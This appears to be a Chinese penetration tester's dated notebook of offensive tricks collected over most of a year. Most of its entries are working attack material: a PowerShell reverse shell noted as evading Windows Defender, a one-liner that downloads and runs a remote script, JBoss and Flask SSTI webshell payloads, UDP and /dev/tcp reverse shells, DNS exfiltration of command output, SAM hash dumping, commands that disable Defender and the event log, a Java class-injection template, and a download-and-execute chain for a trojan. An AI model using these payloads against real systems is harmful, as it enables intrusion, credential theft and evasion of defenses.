1 月
15 号:https://blog.ankursundara.com/cookie-bugs/ 由于旧的 RFC 和 框架实现存在差异问题。导致 cookie 可能存在不同的解释和劫持
The empty cookie
Browsers actually allow a cookie with an empty name!
javascript
document.cookie = "a=v1"
document.cookie = "=test value;" // empty name
document.cookie = "b=v2"This results in the sent cookie header:
“`javascript
a=v1; test value; b=v2;Cookie Injection
Say a user has control over the sent LANGUAGE cookie
LANGUAGE=”en-us” CSRF_TOKEN=”SPOOFED_VALUE”
This is then parsed by Undertow as 2 separate cookies (even though there’s no semicolon – the cookie separator that browsers use)
LANGUAGE=en-us
CSRF_TOKEN=SPOOFED_VALUE
“`
CVE-2023-7028 GitLab 任意用户密码重置漏洞
在GitLab发布的 16.1.0(2023年5月1日)版本中引入新功能,允许用户通过电子邮件地址重置密码。该漏洞是由电子邮件验证过程中的错误造成的,用户密码重置电子邮件可能会发送到未经验证的电子邮件地址。
19 号:
https://infosecwriteups.com/flying-under-the-av-radar-part-01-9384657de2b2
作者自己写了个 powershell 的反弹脚本,直接运行不会被 Windows Defender 检测到,报告给微软,微软说这不符合危险程度,后续有可能会增强检测
$port = 4444
$ip = '172.28.100.18'
$socket = New-Object System.Net.Sockets.TcpClient($ip, $port)
$stream = $socket.GetStream()
$reader = New-Object System.IO.StreamReader $stream
$writer = New-Object System.IO.StreamWriter $stream
[byte[]]$buffer = 0..65535|%{0}
while($true){
$data = $reader.ReadLine()
if ($data -eq $null) {
break
}
$sendback = (iex $data 2>&1 | Out-String )
$writer.WriteLine($sendback)
$writer.Flush()
}
$socket.Close()
powershell -nop -W hidden -noni -ep bypass -c "$port = 4444;$ip = '172.28.100.18';$socket = New-Object System.Net.Sockets.TcpClient($ip, $port);$stream = $socket.GetStream();$reader = New-Object System.IO.StreamReader $stream;$writer = New-Object System.IO.StreamWriter $stream;[byte[]]$buffer = 0..65535|%{0};while($true){$data = $reader.ReadLine();if ($data -eq $null) {break;}$sendback = (iex $data 2>&1 | Out-String );$writer.WriteLine($sendback);$writer.Flush();};$socket.Close();"
powershell 历史命令存储路径:%USERPROFILE%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
后期可以直接删除。
当然也可以用 goby 的 ps1
powershell IEX (New-Object Net.WebClient).DownloadString('http://gobygo.net/ps/rs.ps1');rs -H 172.28.100.18 -P 4444
20 号:p0wny-shell 一个模拟页面终端的 web shell 项目告诉我们,php 只要有 exec、shell_exec、system、passthru、popen、proc_open
中的任何一个没有被禁用就可以直接执行系统命令。4.29 update: 如果目标安装了 pcntl 拓展(此拓展在 Windows 平台不可用),可以使用 pcntl_exec
进行命令执行。
22 号:
curl 上传文件(总是忘记)
curl url --proxy http://127.0.0.1:8080 -F "[email protected]" -v
curl 上传文件内容
curl -X POST --proxy http://127.0.0.1:8080 -H "Content-Type: application/x-amf" --data-binary "@poc.ser" url
29 号:
https://mp.weixin.qq.com/s/fRbzLyGSqu7wtB9Bcpq1mg https://forum.butian.net/share/1749
mybatis 的 SQL 映射支持使用 OGNL 表达式, VoteProvider 直接使用字符串拼接来生成 SQL 语句,如果错误地把 用户输入拼接进去,不仅会发生 SQL 注入,还会引发 OGNL 注入
2 月
16 号:
https://nokline.github.io/bugbounty/2024/02/04/ChatGPT-ATO.html CDN 缓存漏洞利用
21 号:
sqlmap 的 payload 在 /usr/share/sqlmap/data/xml/queries.xml
可以查询
28 号:
https://decoder.cloud/2024/02/26/hello-im-your-adcs-server-and-i-want-to-authenticate-against-you/ 域中在 Certificate Service DCOM Access
组的域用户可以通过 CertSrv Request 实现 NTLM 反射攻击。
3 月
4 号:
下面这个 payload 很好地解决了 jboss jmx-console 未授权不出网的利用方法
/jmx-console/HtmlAdaptor?action=invokeOpByName&name=jboss.admin:service=DeploymentFileRepository&methodName=store&argType=java.lang.String&arg0=web-console.war&argType=java.lang.String&&arg1=she&argType=java.lang.String&arg2=.jsp&argType=java.lang.String&arg3=<%25java.io.InputStream+in+%3d+Runtime.getRuntime().exec(request.getParameter("pass")).getInputStream()%3bint+a+%3d+-1%3bbyte[]+b+%3d+new+byte[2048]%3bout.print("<pre>")%3bwhile((a%3din.read(b))!%3d-1){out.println(new+String(b))%3b}out.print("</pre>")%3b%25>&argType=boolean&arg4=True
然后:
/web-console/she.jsp?pass=whoami
5 号:
使用 nc 上传文件的操作:
server:
nc -lvp 9999 < file_name
target:
cat < /dev/tcp/ip/9999 > file_name
6 号:
windows 关闭实时保护:(只有在防篡改保护关闭下有效)
powershell "Set-MpPreference -DisableRealtimeMonitoring $true"
判断 windows 实时保护状态,True 表示开启, False 表示关闭
powershell (Get-MpComputerStatus).RealTimeProtectionEnabled
7 号:
- windows 目录遍历:
\\..\\..\\..
- 权限足够 reg 离线抓哈希就好了,不用想着怎么绕过杀软。
reg save HKLM\sam ./sam
reg save HKLM\system ./system
impacket-secretsdump -sam sam -system system LOCAL
4 月
22 号:
windows defender 排除文件夹列举
powershell "Get-MpPreference | Select-Object -ExpandProperty ExclusionPath"
23 号:
sqlmap 在获取字段的中文内容时,如果是时间盲注的话,可能无法正常获取(返回空),可以加上 --hex
参数,将内容转换为 16 进制导出
28 号:
如果你控了一台机器,通过某个 web 端口,目标本地也开了 3389 或 22 端口,但是外网访问不到,你执意要连接。你可以使用 webshell socks 代理,也可以使用端口复用的方法。Linux 下用 iptables,至于 windows,真没有什么好的办法,winrm 只能做一个后门。https://cloud.tencent.com/developer/article/1759955
添加一条规则,使得来自 192.168.244.1 访问 8888 端口流量重定向到 8889
iptables -t nat -A PREROUTING -p tcp -s 192.168.244.1 --dport 8888 -j REDIRECT --to-port 8889
将上面的规则删除
iptables -t nat -D PREROUTING -p tcp -s 192.168.244.1 --dport 8888 -j REDIRECT --to-port 8889
查看规则情况
iptables -L -t nat -nv
30 号:
Elasticsearch 未授权可以先访问 /_cat/indices?v&pretty
查看各个索引的存储基本信息,包含条数,大小等,快速判断有无影响价值。
5 月
4 号:
在 Windows 机器上想要执行 sqlserver 的操作可以用 sqlcmd
命令,例如:
sqlcmd -S ip -d database -U username -P password -Q "SELECT name FROM sys.tables;"
8 号:
新版本 flask 通过 ssti 打内存马:
http://127.0.0.1:5000/?name={{url_for.__globals__['__builtins__']['eval']("app.after_request_funcs.setdefault(None, []).append(lambda resp: CmdResp if request.args.get('cmd') and exec(\"global CmdResp;CmdResp=__import__(\'flask\').make_response(__import__(\'os\').popen(request.args.get(\'cmd\')).read())\")==None else resp)",{'request':url_for.__globals__['request'],'app':url_for.__globals__['current_app']})}}
参考:https://xz.aliyun.com/t/14421,借助 after_request_funcs 装饰器的 setdefault 函数修改 response 实现内存马注入,类似于一个拦截器
10 号:
Linux 信息收集用这个:netstat -anltp
,查看完整命令使用 ps -p <PID> -o args
11 号:
在构建镜像的过程中添加下面参数可使走代理
args:
http_proxy: http://172.17.0.1:8123
https_proxy: http://172.17.0.1:8123
或者
docker build --build-arg HTTP_PROXY=http://172.29.144.1:21882 \
--build-arg HTTPS_PROXY=http://172.29.144.1:21882 \
-t dockurr/windows .
13 号:
国内资产收集过程中,当你收集到了该集团下的所有分公司、子公司、组织名(怎么找到?除了企查查、爱企查等第三方接口,你可以尝试找别人官网显示的组织架构或者是举报页面),你可以通过 ICP 备案 查到对应的公司域名,一查一个准。查不到再借助 Google 或 Bing,再查不到借助 fofa 等搜索引擎
ps: 近来发现子域名资产极少甚至都访问不了,建议走 icon
14 号:
R 语言反序列化:https://hiddenlayer.com/research/r-bitrary-code-execution/
redis 打 windows,之前也想过这个问题,看来确实只有主从复制的办法:https://xz.aliyun.com/t/14455
27 号, update: 这篇文章还提醒我们,redis 写 web shell 的话记得关掉压缩选项 config set rdbcompression no
16 号:
关于 Windows 的 dnslog 命令结果回显外带(常用于 PoC 验证),我们经常用这种方式
ping %username%.dnslog.org
但是这种方式只能读取环境变量,因此我们可以将命令执行的结果设置到某个环境变量中,再外带出来。参考:https://www.cnblogs.com/Alad1ng/p/14511713.html
whoami > temp.txp && certutil -encode temp.txp temp2.txp && findstr /L /V "CERTIFICATE" temp2.txp > temp3.txp && for /f "tokens=* delims=" %i in (temp3.txp) do @cmd /v:on /c "set "line=%i" && set "line=!line:~0,-1!" && ping !line!.d127885d.dnslog.store" && del temp.txp temp2.txp temp3.txp
只能支持一行,因为是 base64 编码去掉了 = 号
20 号:
UDP 反弹 shell
监听:
nc -lvnp 1337 -u
目标执行
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1 | nc -u 172.19.178.95 1337 >/tmp/f
27 号:
CVE-2024-32002:攻击者构造一个 Git 仓库,其中依赖了一个子项目,指定存储位置为 A,这个 Git 项目中有一个名为 a 的软链接,指向了 .git 目录。子项目里面构造了一个 hooks 目录,攻击脚本存放在里面。最后,递归克隆项目的时候,因为目录大小写不敏感的原因,子项目实际上被写到了 .git 目录下。这个漏洞可以针对于开发者、运维人员的钓鱼。在 git clone 命令时需要加上 --recursive
参数,值得注意。适用于 Windows 和 Mac,因为他们路径大小写不区分。
28 号:
CVE-2024-2961 这是一个基于 glibc 的缓冲区溢出漏洞,但是在 php 的文件函数(如,file、getimagesize)中广受影响。如果我们能够读取 /proc/self/maps
的内容,并且 php 环境启用了 zlib 拓展,便可以精心构造出地址实现 RCE。例如仅仅是如下的代码
<?php echo file_get_contents($_POST['file']);?>
我们可以借助这个漏洞绕过 php 的函数禁用,或者当作一个后门使用。
ps: PHP 7.0.0 ~ 8.3.7
29 号:
影子用户的排查可以通过查看注册表 HEKY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\Names
文件信息,或者是查看 Windows 安全日志排查创建用户事件
6 月
11 号:
判断 guest 用户是否被激活:使用 powershell 命令 Get-LocalUser -Name "Guest"
7 月
1 号:
如果在小程序的测试过程中发现请求的数据包携带有 sessionKey
,则可以尝试使用 https://github.com/mrknow001/wx_sessionkey_decrypt 进行利用导致水平越权或垂直越权
5 号:
这里放一个打反序列化的类模板,code 可通过 jMG-gui-obf 生成 base64 替换,核心是使用 unsafe 任意加载匿名类的方法。打进去即可。至于 Jsp 的,jmg 可以选择直接生成。值得注意的是,如果的 Filter/Listener 内存马一定要选一个 Servlet 存在的路径进行连接。
package org.example;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import sun.misc.Unsafe;
import java.lang.reflect.Field;
/**
* @author Shule
* CreateTime: 2024/7/5 14:42
*/
public class Inject extends AbstractTranslet {
public static String code = "";
static {
try {
defineClass(Base64DecodeToByte(code));
} catch (ClassNotFoundException e) {
e.printStackTrace();
} catch (NoSuchFieldException e) {
e.printStackTrace();
} catch (IllegalAccessException e) {
e.printStackTrace();
} catch (InstantiationException e) {
e.printStackTrace();
}
}
public static void defineClass(byte[] bytes) throws ClassNotFoundException, NoSuchFieldException, IllegalAccessException, InstantiationException {
Field theUnsafe = Class.forName("sun.misc.Unsafe").getDeclaredField("theUnsafe");
theUnsafe.setAccessible(true);
Unsafe unsafe = (Unsafe) theUnsafe.get(null);
unsafe.defineAnonymousClass(Class.forName("java.lang.Class"), bytes, null).newInstance();
}
public static byte[] Base64DecodeToByte(String code) {
byte[] bt = null;
String version = System.getProperty("java.version");
try {
Class clazz;
if (version.compareTo("1.9") >= 0) {
clazz = Class.forName("java.util.Base64");
Object decoder = clazz.getMethod("getDecoder").invoke((Object) null);
bt = (byte[]) ((byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, code));
} else {
clazz = Class.forName("sun.misc.BASE64Decoder");
bt = (byte[]) ((byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), code));
}
return bt;
} catch (Exception var5) {
return new byte[0];
}
}
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
}
8 号:
linux 查找特定后缀包含特定字符串的命令
grep -r --include="*.txt" "passwd" /
9 号:
Windows 暂停日志服务
powershell -Command "Get-WmiObject -Class win32_service -Filter \"name = 'eventlog'\""
tastkill /F /PID 22222
CS 上线后敏感操作可以编写 BOF 进行执行。
10 号:
JRMP 本质就是 RMI 攻击,在客户端与服务端交互之间传递的对象序列化字节会被反序列化。
# 生成恶意反序列化对象字节
java -jar ysoserial.jar ysoserial.payloads.JRMPClient "127.0.0.1:13337" > evil.ser
# 起 JRMPListener 服务
java -cp ysoserial.jar ysoserial.exploit.JRMPListener 13337 CommonsCollections6 "calc"
# 如果目标服务存在 CC6 利用链并且反序列化了 evil.ser 那么就会与 Listener 进行交互,走 CommonsCollections6 链
15 号:
msfconsole 也可实现多人运动,只要大家都连上同一个数据库
18 号:
powershell 加上 -ExecutionPolicy Bypass
可以绕过安全策略。
9 月
18 号:
Windows 已被禁用特权可以使用 https://raw.githubusercontent.com/fashionproof/EnableAllTokenPrivs/master/EnableAllTokenPrivs.ps1
此脚本开启。如果目标机器上禁用执行脚本,可以凭借管理员权限执行 set-executionpolicy remotesigned
19 号:
使用 vsocde 搭建隧道,可用于域前置、C2;核心在受害机上执行 code tunnel
https://xz.aliyun.com/t/15616
28 号:
GoLang 也支持 argv[0] 混淆:https://www.jianshu.com/p/e1de8fc52718 只可惜不支持 windows
更多场景:https://www.wietzebeukema.nl/blog/why-bother-with-argv0
10 月
6 号:
文件上传绕过
<?php eval('?>'.file_get_contents('http://'));?> // 可改为 base64
7 号:浏览器下载文件
msedge
start msedge http://192.168.1.1:19900/demo.rar
firefox
start firefox http://192.168.1.1:19900/demo.rar
chrome
start chrome http://192.168.1.1:19900/demo.rar
远程下载;确定文件路径;重命名;执行
start msedge http://192.168.1.1:19900/NNNNnop.rar && ping -n 10 127.0.0.1 >NUL && for /f %k in ('cmd /v:off /Q /c "for /f %i in (^'wmic logicaldisk get caption ^| findstr ":"^') do dir %i\ /b /s 2>nul | findstr "NNNNnop.rar""') do set kk=%k && (set dd=%kk:NNNNnop.rar=123456.exe%) && rename %k 123456.exe && ping -n 10 127.0.0.1 >NUL && cmd /c %dd%
这个命令挺复杂的,我按照步骤来简单说一下
- 使用 edge 浏览器远程下载
start msedge http://192.168.1.1:19900/NNNNnop.rar
- 延时 10 s
ping -n 10 127.0.0.1 >NUL
- 遍历所有盘符,寻找
NNNNnop.rar
这个文件
cmd /v:off /Q /c "for /f %i in (^'wmic logicaldisk get caption ^| findstr ":"^') do dir %i\ /b /s 2>nul | findstr "NNNNnop.rar""
NNNNnop.rar
是我们远程下载的文件名,这个文件名一定要唯一,不然后续的命令会把系统同名文件给重命名并且执行了,会影响系统
- 重命名
NNNNnop.rar
为123456.exe
,路径还是在下载路径
for /f %k in ('cmd /v:off /Q /c "for /f %i in (^'wmic logicaldisk get caption ^| findstr ":"^') do dir %i\ /b /s 2>nul | findstr "NNNNnop.rar""') do set kk=%k && (set dd=%kk:NNNNnop.rar=123456.exe%) && rename %k 123456.exe
- 延时 10 s
ping -n 10 127.0.0.1 >NUL
- 执行我们的木马
cmd /c %dd%
8 号:
过滤 |
、&
、$
以及空格的反弹 shell(bash 环境)
(sh)0>/dev/tcp/ip/port
监听端执行:exec >&0
11 号:
可以使用 dumpbin.exe
来查看 dll 的导出函数
dumpbin.exe /EXPORTS *.dll
DllMain entry point 实现参考:https://learn.microsoft.com/en-us/windows/win32/dlls/dllmain
#include <windows.h>
#include <tlhelp32.h>
//gcc -shared -o mydll.dll dll.c -Wl,--subsystem,windows
void kill() {
system("calc.exe");
}
BOOL APIENTRY DllMain(HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved) {
switch (ul_reason_for_call) {
case DLL_PROCESS_ATTACH:
kill();
// fall through
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}